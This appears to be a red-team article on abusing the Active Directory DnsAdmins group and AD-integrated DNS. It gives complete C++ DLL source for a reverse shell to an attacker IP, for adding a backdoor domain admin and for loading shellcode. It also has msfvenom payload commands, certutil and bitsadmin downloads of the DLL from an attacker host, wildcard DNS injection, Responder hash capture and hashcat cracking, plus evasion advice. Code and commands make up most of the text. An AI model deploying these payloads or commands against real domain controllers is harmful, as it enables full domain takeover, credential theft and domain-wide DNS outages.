ᛉ Yggdrasil

Active Directory

DNS Admin Attacks

15 Oct 2026 · 7,755 words · 35 min

Contents

Legend: [ENUM] = Enumeration | [PRIVESC] = Privilege Escalation | [PERSIST] = Persistence | [CRED] = Credential Access | [MITM] = Man-in-the-Middle | [EVADE] = Defense Evasion | [DETECT] = Detection vector | [OPSEC] = Operational Security | [TOOL] = Tool reference


1. What are DNS Admin Attacks & Why They Matter

What it means: The DnsAdmins group is a built-in Windows Active Directory group with administrative control over the DNS Server service. On the surface it looks harmless — it's supposed to let a subset of users manage DNS records without being full Domain Admins. But it hides a critical privilege escalation path: members can instruct the DNS service to load an arbitrary DLL from any path, including a UNC network path. Because DNS (dns.exe) runs as NT AUTHORITY\SYSTEM on the Domain Controller, loading your DLL gives you SYSTEM on the DC = full domain compromise.

Why it matters:

Factor Detail
Discovery by Shay Ber (2017) Original "Feature, Not Bug" — DNSAdmin to DC compromise in one line
CVE-2021-40469 Formally tracked; still relevant on unpatched DCs
MITRE ATT&CK T1574 (Hijack Execution Flow), T1543.003 (Windows Service), T1078 (Valid Accounts)
Group is overlooked Admins often put IT staff in DnsAdmins without realizing it's a tier-0 privilege
No file-drop required DLL can be served from attacker's SMB share (UNC path)
SYSTEM execution dns.exe runs as SYSTEM — DLL inherits it automatically
CRTP / OSCP / HTB relevance Appears in HTB Resolute, common CRTP exam topic

The one-line attack summary:

DNSAdmins member → dnscmd /config /serverlevelplugindll \\attacker\share\evil.dll
→ sc stop dns → sc start dns → DNS loads DLL as SYSTEM → Domain Compromised

Attack surface taxonomy:

DNS Admin Attack Vectors
│
├── 1. DNSAdmins DLL Injection         ← SYSTEM on DC via serverlevelplugindll
│      └── T1574 / Privilege Escalation
│
├── 2. ADIDNS Wildcard Record Injection ← Any authenticated user → MITM all traffic
│      └── T1557 / Credential Access
│
├── 3. WPAD DNS Record Abuse            ← Proxy traffic, capture NTLM hashes
│      └── T1557.001 / Credential Access
│
└── 4. DNS Record Manipulation          ← Hijack A/CNAME records for phishing/relay
       └── T1584 / Resource Development

Real-world usage:

  • Resolute (HackTheBox) — classic DNSAdmins DLL injection path
  • Multiple APT groups abuse DNS admin privileges for persistence and SYSTEM access
  • Frequently found in red team engagements where junior admins get placed in DnsAdmins

2. DNS Architecture & Attack Surface

What it means: Understanding how DNS integrates with Active Directory is essential for exploiting it correctly. AD uses AD-Integrated DNS zones (ADIDNS) where DNS records are stored as AD objects — replicated between all DCs. This means DNS permissions are controlled by AD ACLs, and any authenticated user can (by default) create new DNS records.

2.1 DNS Components Relevant to Attack

┌────────────────────────────────────────────────────────────────────────┐
│                      Domain Controller                                 │
│                                                                        │
│  ┌────────────────────────────────────────────────────────────────┐    │
│  │  dns.exe — DNS Server Service                                  │    │
│  │  Runs as: NT AUTHORITY\SYSTEM                                  │    │
│  │  Port: 53 (UDP/TCP)                                            │    │
│  │  Plugin API: DnsPluginInitialize / DnsPluginCleanup /          │    │
│  │              DnsPluginQuery                                    │    │
│  │                                                                │    │
│  │  Registry key loaded at startup:                               │    │
│  │  HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters         │    │
│  │        └── ServerLevelPluginDll = \\attacker\share\evil.dll    │    │
│  └────────────────────────────────────────────────────────────────┘    │
│                                                                        │
│  ┌────────────────────────────────────────────────────────────────┐    │
│  │  Active Directory                                              │    │
│  │  └── CN=MicrosoftDNS,DC=DomainDnsZones,DC=domain,DC=local      │    │
│  │       └── DNS zones stored as AD objects (ADIDNS)              │    │
│  │            Permissions: Authenticated Users can create records │    │
│  └────────────────────────────────────────────────────────────────┘    │
└────────────────────────────────────────────────────────────────────────┘

2.2 Key Locations

Path / Key Description Attack Relevance
HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll Registry key set by dnscmd Set to attacker DLL path
C:\Windows\System32\dns.exe DNS service binary Runs as SYSTEM, loads plugin DLL
C:\Windows\System32\dnsapi.dll DNS API library DNS client-side functions
CN=MicrosoftDNS,DC=DomainDnsZones,... AD object path for DNS zone ADIDNS records — writable by all users
CN=DnsAdmins,CN=Users,DC=... DnsAdmins group in AD Members can configure DNS service
\\DC\ADMIN$\ Admin share Can be used for DLL delivery

2.3 DNSAdmins vs Domain Admins Privileges

Capability Domain Admin DnsAdmins
Modify AD objects ✅ ❌ (limited)
Load plugin DLL into dns.exe ✅ ✅ ← This is the attack
Restart DNS service ✅ ✅ (if granted sc rights)
Read/write DNS zones ✅ ✅
Access DC admin shares ✅ ❌
Runs DLL as SYSTEM ✅ → escalated ✅ → already SYSTEM!

[OPSEC] DnsAdmins is a local group on the DC — not a domain-wide group. You'll find it by looking at the DC's local groups, not in the domain's standard group list. Many red teamers miss it because they search at the domain level.


3. Enumeration — Finding DNS Admin Members

What it means: Before executing the attack, confirm that your compromised account (or any account you can access) is a member of the DnsAdmins group. If not, look for other paths — users with WriteDACL, GenericAll, or AddMember rights on the DnsAdmins object.

3.1 Check Current User's Group Membership [ENUM]

# Check if current user is in DnsAdmins
whoami /groups | findstr /i "DnsAdmins"

# Get current user's token groups
[System.Security.Principal.WindowsIdentity]::GetCurrent().Groups |
    ForEach-Object {$_.Translate([System.Security.Principal.NTAccount])} |
    Where-Object {$_.Value -like "*DnsAdmins*"}

# Enumerate via net command
net localgroup DnsAdmins                     # On the DC itself
net group "DnsAdmins" /domain               # Domain query (may fail — it's a local group)

3.2 Enumerate DnsAdmins Members Remotely [ENUM]

# PowerShell — enumerate DnsAdmins members from domain
Get-ADGroupMember -Identity "DnsAdmins" | Select Name, SamAccountName, DistinguishedName

# Net RPC (works remotely with valid creds)
net rpc group members "DnsAdmins" -U "DOMAIN\user%P@ssw0rd" -S DC01

# RSAT / ActiveDirectory module
Import-Module ActiveDirectory
Get-ADGroup -Filter {Name -eq "DnsAdmins"} -Properties Members | Select -ExpandProperty Members

# Enumerate via LDAP (works even without RSAT)
([ADSI]"LDAP://CN=DnsAdmins,CN=Users,DC=domain,DC=local").Member

3.3 BloodHound / SharpHound Discovery [ENUM][TOOL]

# Collect data with SharpHound
.\SharpHound.exe -c All --outputdirectory C:\Temp\

# In BloodHound GUI:
# Query: "Find Shortest Paths to Domain Admins"
# Also look at: "Owned" → right click → "Shortest Paths from owned principals"

# Cypher query — find DnsAdmins members:
MATCH (u:User)-[:MemberOf]->(g:Group {name:"DNSADMINS@DOMAIN.LOCAL"}) RETURN u.name

# Cypher query — find who can add to DnsAdmins (GenericAll/WriteDACL/AddMember):
MATCH p=shortestPath((u:User {owned:true})-[r:MemberOf|GenericAll|GenericWrite|
  WriteOwner|WriteDACL|AddMember|ForceChangePassword*1..]->(g:Group {name:"DNSADMINS@DOMAIN.LOCAL"}))
RETURN p

3.4 Manual DNS Enumeration [ENUM]

# Enumerate all DNS zones
Get-DnsServerZone -ComputerName DC01

# List DNS records in a zone
Get-DnsServerResourceRecord -ZoneName "domain.local" -ComputerName DC01

# Check existing A records (wpad, wildcard, etc.)
Resolve-DnsName wpad.domain.local
Resolve-DnsName *.domain.local       # Wildcard check

# Check DNS service configuration (requires admin)
Get-DnsServerSetting -ComputerName DC01 | Select *Plugin*

# Check if ServerLevelPluginDll is already set (forensic / recon)
reg query \\DC01\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll -ErrorAction SilentlyContinue

# Impacket — enumerate DNS zones remotely
python3 dnstool.py -u 'DOMAIN\user' -p 'P@ssw0rd' DC01.domain.local --enum

3.5 PowerView DNS & Group Enumeration [ENUM][TOOL]

Import-Module .\PowerView.ps1

# Get DnsAdmins group members
Get-NetGroupMember -GroupName "DnsAdmins" -Domain domain.local

# Find computers with DNS role
Get-NetComputer -Filter "(servicePrincipalName=*dns*)" | Select Name, OperatingSystem

# Check who has rights over DnsAdmins group
Get-ObjectAcl -SamAccountName "DnsAdmins" -ResolveGUIDs |
    Where-Object {$_.ActiveDirectoryRights -match "WriteProperty|GenericAll|WriteDACL"}

4. Core Attack: DNSAdmins DLL Injection (SYSTEM on DC)

What it means: The primary DNSAdmins attack. When a DnsAdmins member runs dnscmd /config /serverlevelplugindll <path>, it writes a registry value that instructs dns.exe to load the specified DLL at service startup. Since dns.exe runs as SYSTEM, your DLL inherits SYSTEM privileges — on the Domain Controller. That's full domain compromise.

4.1 Attack Flow Diagram [PRIVESC]

Attacker has DnsAdmins account                    Target: DC01
(or has compromised such an account)

┌──────────────────────┐        dnscmd over RPC       ┌──────────────────────────┐
│  Attacker Machine    │ ──────────────────────────→  │  Domain Controller       │
│  (or compromised WS) │                              │                          │
│                      │  1. dnscmd DC01 /config      │  Registry key written:   │
│  \\attacker\evil.dll │     /serverlevelplugindll    │  HKLM\...\DNS\Parameters │
│  ↑ SMB share running │     \\attacker\evil.dll      │  ServerLevelPluginDll =  │
│                      │                              │  \\attacker\evil.dll     │
│                      │                              │                          │
│                      │  2. sc \\DC01 stop dns       │  DNS service stopped     │
│                      │  3. sc \\DC01 start dns      │  DNS service starts      │
│                      │                              │  dns.exe reads registry  │
│                      │  ← ← ← ← ← ← ← ← ← ← ← ←     │  dns.exe loads evil.dll  │
│  SYSTEM Shell!       │       reverse shell          │  as SYSTEM               │
│  (domain compromise) │       (or domain admin add)  │                          │
└──────────────────────┘                              └──────────────────────────┘

4.2 Step-by-Step Execution [PRIVESC]

# ── STEP 1: Confirm you're in DnsAdmins ──────────────────────────────────────
whoami /groups | findstr /i DnsAdmins
# Expected: BUILTIN\DnsAdmins    Group    S-1-5-21-...

# ── STEP 2: Host your malicious DLL on SMB ───────────────────────────────────
# On attacker Linux machine:
# impacket-smbserver share $(pwd) -smb2support -username attacker -password P@ss

# ── STEP 3: Configure DNS to load your DLL ───────────────────────────────────

# Option A: Local DC (if you're logged in on DC)
dnscmd.exe /config /serverlevelplugindll C:\Windows\Temp\evil.dll

# Option B: Remote DC via UNC path (DLL served from attacker's SMB)
dnscmd.exe DC01 /config /serverlevelplugindll \\10.10.14.5\share\evil.dll

# Option C: Specify full DC name explicitly
dnscmd.exe dc01.domain.local /config /serverlevelplugindll \\10.10.14.5\share\evil.dll

# Expected output:
# Registry property serverlevelplugindll successfully reset.
# Command completed successfully.

# ── STEP 4: Verify registry key was written ───────────────────────────────────
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll
# Or:
reg query "HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll

# ── STEP 5: Restart DNS service to trigger DLL load ──────────────────────────

# Option A: sc.exe (requires DNS restart rights — check sc sdshow dns)
sc.exe \\DC01 stop dns
sc.exe \\DC01 start dns

# Option B: PowerShell service management
Stop-Service -Name DNS -ComputerName DC01 -Force
Start-Service -Name DNS -ComputerName DC01

# Option C: net (classic)
net stop dns /y
net start dns

# Option D: If you can't restart (common in locked-down DCs) — wait for scheduled restart
# DNS restarts during Windows Update, patch cycles, or manual admin restarts
# Or trigger a DNS outage to force admin restart (noisier)

4.3 Checking DNS Service Restart Rights [OPSEC]

# Check if current user has rights to restart the DNS service
sc.exe sdshow dns
# Returns SDDL — decode it to check your SID's access rights

# Or use PowerShell to check:
$dnsServiceSecurity = Get-Service DNS | Get-Acl
$dnsServiceSecurity.Access | Where-Object {$_.IdentityReference -match "DnsAdmins"}

# If you can't restart DNS directly:
# 1. Wait — most environments restart DNS at least weekly
# 2. Trigger a condition that forces a restart (DNS error flood — noisy)
# 3. Use a separate path to restart (if you have another privilege)
# 4. Embed your payload in a WMI scheduled task that polls for SYSTEM

4.4 What Happens When dns.exe Loads the DLL [PRIVESC]

DNS Service Startup Sequence:
├── dns.exe starts as NT AUTHORITY\SYSTEM
├── Reads HKLM\...\DNS\Parameters\ServerLevelPluginDll
├── Finds: \\10.10.14.5\share\evil.dll
├── Connects to attacker's SMB share (as DC computer account)
├── Loads evil.dll into its process space
├── Calls DnsPluginInitialize() → YOUR CODE RUNS AS SYSTEM
│   ├── DnsPluginInitialize must spawn a NEW THREAD for your payload
│   │   └── (if you block DnsPluginInitialize, DNS crashes)
│   └── Thread executes: reverse shell / add domain admin / etc.
└── Returns to DNS normal operation (if your DLL is well-formed)

[OPSEC] Critical: Your DLL must export DnsPluginInitialize, DnsPluginCleanup, and optionally DnsPluginQuery. If the DNS service can't find these exports, it will crash — taking DNS down for the entire domain (very noisy). Spawn your payload in a new thread inside DnsPluginInitialize so the function returns quickly and DNS stays up.


5. Building the Malicious DLL (All Methods)

What it means: The DLL must export specific functions that dns.exe expects (DnsPluginInitialize, DnsPluginCleanup). Without proper exports, dns.exe either refuses the DLL or crashes. You have several ways to build it.

5.1 Custom C++ DLL with Reverse Shell Thread [PRIVESC]

The cleanest approach — proper exports, payload in a separate thread, DNS stays up.

// evil.cpp — Compile: x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -lws2_32

#include <windows.h>
#include <winsock2.h>

// Required exports dns.exe checks for
extern "C" __declspec(dllexport) DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction);
extern "C" __declspec(dllexport) VOID WINAPI DnsPluginCleanup(VOID);
extern "C" __declspec(dllexport) PVOID WINAPI DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PVOID ppDnsRecordListHead);

// Reverse shell thread function (runs in background)
DWORD WINAPI ReverseShellThread(LPVOID lpParam) {
    WSADATA wsaData;
    SOCKET sock;
    struct sockaddr_in server;
    PROCESS_INFORMATION pi;
    STARTUPINFO si;
    char *attacker_ip = "10.10.14.5";   // ← CHANGE THIS
    int attacker_port = 443;             // ← CHANGE THIS

    WSAStartup(MAKEWORD(2,2), &wsaData);
    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    server.sin_family = AF_INET;
    server.sin_port = htons(attacker_port);
    server.sin_addr.s_addr = inet_addr(attacker_ip);

    WSAConnect(sock, (SOCKADDR*)&server, sizeof(server), NULL, NULL, NULL, NULL);

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;

    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

    // Keep the thread alive while cmd.exe runs
    WaitForSingleObject(pi.hProcess, INFINITE);
    WSACleanup();
    return 0;
}

// DnsPluginInitialize — called by dns.exe on service start
// MUST return quickly — spawn payload in a thread
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction) {
    // Create thread so DnsPluginInitialize returns immediately
    // (if we block here, DNS service hangs and gets killed by SCM)
    HANDLE hThread = CreateThread(NULL, 0, ReverseShellThread, NULL, 0, NULL);
    if (hThread) CloseHandle(hThread);
    return ERROR_SUCCESS;
}

// DnsPluginCleanup — called on service stop
VOID WINAPI DnsPluginCleanup(VOID) {
    // Optional: clean up resources
    return;
}

// DnsPluginQuery — called for each DNS query (optional export)
PVOID WINAPI DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PVOID ppDnsRecordListHead) {
    return NULL;
}

// DllMain — entry point (standard)
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    switch (fdwReason) {
        case DLL_PROCESS_ATTACH:
            DisableThreadLibraryCalls(hinstDLL);
            break;
    }
    return TRUE;
}

Compile on Kali/Linux:

# Install cross-compiler if needed
sudo apt-get install mingw-w64

# Compile 64-bit DLL
x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -lws2_32

# Verify exports are correct
x86_64-w64-mingw32-objdump -p evil.dll | grep DnsPlugin
# Should show: DnsPluginInitialize, DnsPluginCleanup, DnsPluginQuery

# Check it's a valid DLL
file evil.dll
# evil.dll: PE32+ executable (DLL) (console) x86-64, for MS Windows

5.2 Minimal C++ DLL — Add Domain Admin User [PRIVESC]

Simpler payload — no reverse shell, just adds a domain admin user via CreateProcess:

// adduser.cpp — adds a backdoor domain admin account
#include <windows.h>

extern "C" __declspec(dllexport) DWORD WINAPI DnsPluginInitialize(PVOID a, PVOID b);
extern "C" __declspec(dllexport) VOID WINAPI DnsPluginCleanup(VOID);
extern "C" __declspec(dllexport) PVOID WINAPI DnsPluginQuery(PSTR a, WORD b, PSTR c, PVOID d);

DWORD WINAPI PayloadThread(LPVOID lpParam) {
    // Add backdoor user
    system("net user hacker P@ssw0rd123! /add /domain");
    system("net group \"Domain Admins\" hacker /add /domain");
    // Optional: add to local admins on DC too
    system("net localgroup administrators hacker /add");
    return 0;
}

DWORD WINAPI DnsPluginInitialize(PVOID a, PVOID b) {
    CreateThread(NULL, 0, PayloadThread, NULL, 0, NULL);
    return ERROR_SUCCESS;
}
VOID WINAPI DnsPluginCleanup(VOID) { return; }
PVOID WINAPI DnsPluginQuery(PSTR a, WORD b, PSTR c, PVOID d) { return NULL; }

BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID l) { return TRUE; }
# Compile
x86_64-w64-mingw32-g++ -shared -o adduser.dll adduser.cpp

5.3 Msfvenom DLL with Required Exports Wrapper [PRIVESC]

The raw msfvenom DLL doesn't have DnsPlugin exports — it crashes dns.exe. You need to wrap it:

# Step 1: Generate raw shellcode (not the DLL format directly)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.5 LPORT=443 -f raw -o payload.bin

# Step 2: Use custom DLL template that loads the shellcode
# (see shellcode-loader DLL below)

# OR — use msfvenom DLL if DNS crash is acceptable (quick & dirty):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o evil.dll
# ⚠️ This WILL crash DNS — DNS outage for the domain until manually restarted!
# Only use if DNS outage is acceptable / scoped in your engagement

# Set up listener
msfconsole -q -x "use multi/handler; set payload windows/x64/shell_reverse_tcp; set LHOST 10.10.14.5; set LPORT 443; run"

5.4 MinGW C++ DLL with Shellcode Injection (Stable) [PRIVESC]

// shellcode_dll.cpp — Embeds shellcode, proper DNS exports, spawns thread
#include <windows.h>

extern "C" __declspec(dllexport) DWORD WINAPI DnsPluginInitialize(PVOID a, PVOID b);
extern "C" __declspec(dllexport) VOID WINAPI DnsPluginCleanup(VOID);
extern "C" __declspec(dllexport) PVOID WINAPI DnsPluginQuery(PSTR a, WORD b, PSTR c, PVOID d);

// Replace with your msfvenom/Cobalt Strike/Havoc shellcode bytes
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00,  // shellcode bytes here
    // ... rest of shellcode ...
};

DWORD WINAPI ShellcodeThread(LPVOID lpParam) {
    LPVOID exec = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (exec) {
        memcpy(exec, shellcode, sizeof(shellcode));
        ((void(*)())exec)();
    }
    return 0;
}

DWORD WINAPI DnsPluginInitialize(PVOID a, PVOID b) {
    CreateThread(NULL, 0, ShellcodeThread, NULL, 0, NULL);
    return ERROR_SUCCESS;
}
VOID WINAPI DnsPluginCleanup(VOID) {}
PVOID WINAPI DnsPluginQuery(PSTR a, WORD b, PSTR c, PVOID d) { return NULL; }
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID l) { return TRUE; }
# Compile with shellcode embedded
x86_64-w64-mingw32-g++ -shared -o shellcode_plugin.dll shellcode_dll.cpp

5.5 Test DLL Locally Before Deployment [OPSEC]

# Test if DLL exports are correct and it doesn't crash (on a test machine)
# Load manually via rundll32 (will call DllMain and DnsPluginInitialize)
rundll32.exe .\evil.dll,DnsPluginInitialize

# Check that the DLL exports the right functions
# On Linux:
x86_64-w64-mingw32-objdump -p evil.dll | grep "DnsPlugin"

# On Windows:
dumpbin /exports evil.dll

6. Delivering the DLL (UNC, Local, WebDAV)

What it means: The path you give dnscmd /config /serverlevelplugindll must be accessible by the DC's computer account at service startup. You have three main delivery options: UNC (SMB), local disk, and WebDAV.

6.1 Method A: UNC Path via Impacket SMB Server [PRIVESC][TOOL]

Best for quick engagements from a Linux attacker machine:

# ── ON ATTACKER MACHINE (Linux) ──────────────────────────────────────────────

# Start SMB server serving evil.dll from current directory
impacket-smbserver share $(pwd) -smb2support

# Or with authentication (more reliable in modern AD environments)
impacket-smbserver share $(pwd) -smb2support -username attacker -password P@ssw0rd123

# Start listener for reverse shell
rlwrap nc -nlvp 443

# ── ON TARGET (Windows, DnsAdmins account) ───────────────────────────────────

# Configure DNS to load DLL from UNC path
dnscmd.exe DC01 /config /serverlevelplugindll \\10.10.14.5\share\evil.dll

# Restart DNS
sc.exe \\DC01 stop dns
sc.exe \\DC01 start dns

# Shell received on attacker machine!

[OPSEC] When DNS starts and loads the UNC path DLL, the DC's computer account (DOMAIN\DC01$) authenticates to your SMB server. This is visible in Event ID 4624 (Type 3 logon from DC01$). This is an anomalous logon — DC computer accounts don't normally authenticate to random IPs.

6.2 Method B: Copy DLL Locally First (Stealthier) [PRIVESC][OPSEC]

Avoids the suspicious DC computer account → attacker SMB logon:

# ── COPY DLL TO DC FIRST (via admin share or BITS) ───────────────────────────

# Copy via admin share (requires admin access to DC — if you have it)
Copy-Item \\10.10.14.5\share\evil.dll \\DC01\C$\Windows\Temp\evil.dll

# Or via BITS (Background Intelligent Transfer — built-in, less suspicious)
bitsadmin /transfer job /download /priority high http://10.10.14.5/evil.dll C:\Windows\Temp\evil.dll

# Or via certutil (classic LOLBin)
certutil -urlcache -split -f http://10.10.14.5/evil.dll C:\Windows\Temp\evil.dll

# ── CONFIGURE DNS TO USE LOCAL PATH ──────────────────────────────────────────
dnscmd.exe DC01 /config /serverlevelplugindll C:\Windows\Temp\evil.dll

# Restart DNS
sc.exe \\DC01 stop dns
sc.exe \\DC01 start dns

6.3 Method C: WebDAV Delivery [PRIVESC]

Alternative to SMB when SMB egress is filtered:

# Start WebDAV server on attacker
# Install wsgidav: pip3 install wsgidav cheroot
wsgidav --host=0.0.0.0 --port=80 --root=/path/to/dlldir --auth=anonymous

# Or use Python SimpleHTTPServer (read-only WebDAV):
# Use http path in dnscmd

# On target:
dnscmd.exe DC01 /config /serverlevelplugindll \\10.10.14.5\DavWWWRoot\evil.dll

# Via WebDAV:
# Windows auto-mounts WebDAV when it sees \\host\path (if WebClient service is running)

7. Triggering Execution — DNS Service Restart

What it means: The DLL only loads when the DNS service restarts. You need to restart it. Depending on your privileges, you have several options — or you may need to wait.

7.1 Restart Options Based on Privilege Level [PRIVESC]

# ── IF YOU CAN RESTART DNS (most common with DnsAdmins) ─────────────────────

# Check if DnsAdmins members can restart the DNS service (check sc SDDL)
sc.exe sdshow dns
# Look for an ACE with the DnsAdmins group SID that includes RP (Start) and WP (Stop) rights

# Method 1: sc.exe (simplest)
sc.exe \\DC01 stop dns
sc.exe \\DC01 start dns

# Method 2: PowerShell (requires PSRemoting or RSAT)
Stop-Service -Name DNS -ComputerName DC01
Start-Service -Name DNS -ComputerName DC01

# Method 3: WMI (doesn't need PSRemoting)
Invoke-WmiMethod -Class Win32_Service -Name StopService -ComputerName DC01 -Filter "Name='DNS'"
Invoke-WmiMethod -Class Win32_Service -Name StartService -ComputerName DC01 -Filter "Name='DNS'"

# Method 4: net (if on DC)
net stop dns && net start dns

7.2 When You CAN'T Restart DNS Directly [OPSEC]

Scenarios where restart is blocked:
├── DnsAdmins not granted sc stop/start rights
├── Firewall blocks sc.exe RPC to DC
└── Can't use WMI / PSRemoting

Options:
1. Wait for natural restart
   ├── Windows Update installs → DNS restarts (monthly Patch Tuesday)
   ├── DC reboots for any reason
   └── Admin manually restarts DNS (common in real environments)

2. Cause DNS to crash (very noisy — avoid if possible)
   └── Send malformed queries to trigger dns.exe crash → SCM auto-restarts it
       dnscmd dc01 /zonerefresh domain.local (trigger zone reload)

3. Lateral movement first → get higher privileges → restart
   └── Escalate via other path first, then restart DNS from SYSTEM

8. Mimilib.dll — Mimikatz-Based DNS Plugin

What it means: Mimikatz includes a pre-built DNS plugin DLL called mimilib.dll. It's designed to be dropped as a DNS plugin and logs all DNS queries and authentication events (including password hashes) to a file — perfect for passive credential harvesting without a reverse shell.

8.1 mimilib.dll Overview [CRED][PERSIST]

mimilib.dll capabilities:
├── Exports all required DNS plugin functions correctly
├── Hooks DNS query processing
├── Logs all DNS queries to: C:\Windows\System32\kiwidns.log
├── Can be configured to dump credentials
└── Designed exactly for this DNSAdmins attack scenario

Source: https://github.com/gentilkiwi/mimikatz/tree/master/mimilib

8.2 Using mimilib.dll for Credential Logging [CRED]

# ── ON LINUX: Obtain mimilib.dll ─────────────────────────────────────────────
# Download from Mimikatz release (already compiled)
wget https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip
unzip mimikatz_trunk.zip
ls x64/mimilib.dll    # ← the DNS plugin DLL

# Serve it via SMB
impacket-smbserver share $(pwd)/x64 -smb2support
# ── ON WINDOWS (DnsAdmins account) ───────────────────────────────────────────

# Configure DNS to load mimilib.dll
dnscmd.exe DC01 /config /serverlevelplugindll \\10.10.14.5\share\mimilib.dll

# Restart DNS
sc.exe \\DC01 stop dns
sc.exe \\DC01 start dns

# mimilib now intercepts DNS queries and logs them to:
# C:\Windows\System32\kiwidns.log

# After some time, retrieve the log (requires access to DC):
type \\DC01\C$\Windows\System32\kiwidns.log
# or
Get-Content \\DC01\C$\Windows\System32\kiwidns.log

8.3 What mimilib.dll Logs [CRED]

kiwidns.log contents:
[00000000] A (Ipv4)   wks01.domain.local        → 192.168.1.10
[00000001] A (Ipv4)   dc01.domain.local          → 192.168.1.1
[00000002] A (Ipv4)   sharepoint.domain.local    → 192.168.1.50
[00000003] MX         domain.local               → mail.domain.local
...

This reveals:
- All hostnames clients are resolving → internal network topology
- Sensitive services (backup servers, management IPs)
- Timing patterns (when services check in)

9. ADIDNS Abuse — Wildcard Record Injection

What it means: A separate but related attack vector. Active Directory stores DNS records as AD objects. By default, any authenticated domain user can create new DNS records in the AD-integrated zone. An attacker can inject a wildcard DNS record (*) that responds to ANY hostname that doesn't have an explicit record — effectively making the attacker's machine the DNS responder for all unresolved names. This enables NTLM hash capture and MITM attacks, similar to LLMNR/NBNS poisoning but via DNS.

Why this is powerful:

  • Requires only a standard domain user account (not DnsAdmins!)
  • Redirects all traffic for unresolved names to attacker IP
  • Captures NTLMv2 hashes without Responder/poisoning tools
  • Bypasses LLMNR/NBNS blocking that many orgs implement

9.1 ADIDNS Wildcard Injection with Powermad [MITM][CRED][TOOL]

# ── IMPORT POWERMAD ──────────────────────────────────────────────────────────
# Download: https://github.com/Kevin-Robertson/Powermad
Import-Module .\Powermad.ps1

# ── CHECK IF WILDCARD RECORD EXISTS ──────────────────────────────────────────
# If a wildcard already exists, you can't create one (will fail)
Get-DnsServerResourceRecord -ZoneName "domain.local" -Name "*" -ComputerName DC01 -ErrorAction SilentlyContinue

# ── CREATE WILDCARD A RECORD ──────────────────────────────────────────────────
# This redirects all unresolved hostnames to attacker IP (10.10.14.5)
Invoke-DNSUpdate -DNSType A -DNSName "*" -DNSData 10.10.14.5 -Verbose

# Expected output:
# [+] LDAP connection successful
# [+] DNS wildcard record * added to domain.local zone

# ── VERIFY WILDCARD CREATED ───────────────────────────────────────────────────
Resolve-DnsName nonexistent-host.domain.local
# Should resolve to: 10.10.14.5 (your attacker IP)

Resolve-DnsName randomname.domain.local
# Should also resolve to: 10.10.14.5

# ── DELETE WILDCARD (cleanup) ─────────────────────────────────────────────────
Invoke-DNSUpdate -DNSType A -DNSName "*" -DNSData 10.10.14.5 -Delete -Verbose

9.2 ADIDNS via Impacket dnstool.py [MITM][CRED][TOOL]

# Install Impacket (includes dnstool.py)
git clone https://github.com/dirkjanm/krbrelayx && cd krbrelayx
# Or use impacket's own DNS tools

# Add wildcard record from Linux
python3 dnstool.py -u 'DOMAIN\user' -p 'P@ssw0rd' -r '*' -a add -d 10.10.14.5 DC01.domain.local

# Add specific record
python3 dnstool.py -u 'DOMAIN\user' -p 'P@ssw0rd' -r 'wpad' -a add -d 10.10.14.5 DC01.domain.local

# Enumerate existing records
python3 dnstool.py -u 'DOMAIN\user' -p 'P@ssw0rd' DC01.domain.local --enum

# Delete record
python3 dnstool.py -u 'DOMAIN\user' -p 'P@ssw0rd' -r '*' -a del DC01.domain.local

# Pass-the-hash
python3 dnstool.py -u 'DOMAIN\user' -hashes :NTLMHASH -r '*' -a add -d 10.10.14.5 DC01.domain.local

9.3 Capturing Hashes via Responder + Wildcard [CRED][TOOL]

# ── STEP 1: Inject wildcard DNS record (attacker IP) ────────────────────────
python3 dnstool.py -u 'DOMAIN\user' -p 'P@ssw0rd' -r '*' -a add -d 10.10.14.5 DC01.domain.local

# ── STEP 2: Start Responder on attacker machine ───────────────────────────────
# Responds to SMB/HTTP/etc. auth attempts → captures NTLMv2 hashes
responder -I eth0 -wrf
# -w = WPAD rogue server
# -r = Redirect responses
# -f = Fingerprint

# ── STEP 3: Wait for victims to try resolving unresolved hostnames ────────────
# When victim types: \\fileserver\ (if fileserver has no DNS record)
# → DNS resolves to 10.10.14.5 (wildcard)
# → Victim's machine connects to attacker via SMB
# → Responder captures NTLMv2 hash

# Example Responder capture:
# [SMB] NTLMv2-SSP Client   : 192.168.1.20
# [SMB] NTLMv2-SSP Username : DOMAIN\jdoe
# [SMB] NTLMv2-SSP Hash     : jdoe::DOMAIN:aabbcc1122...:a1b2c3d4...

# ── STEP 4: Crack hashes ─────────────────────────────────────────────────────
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
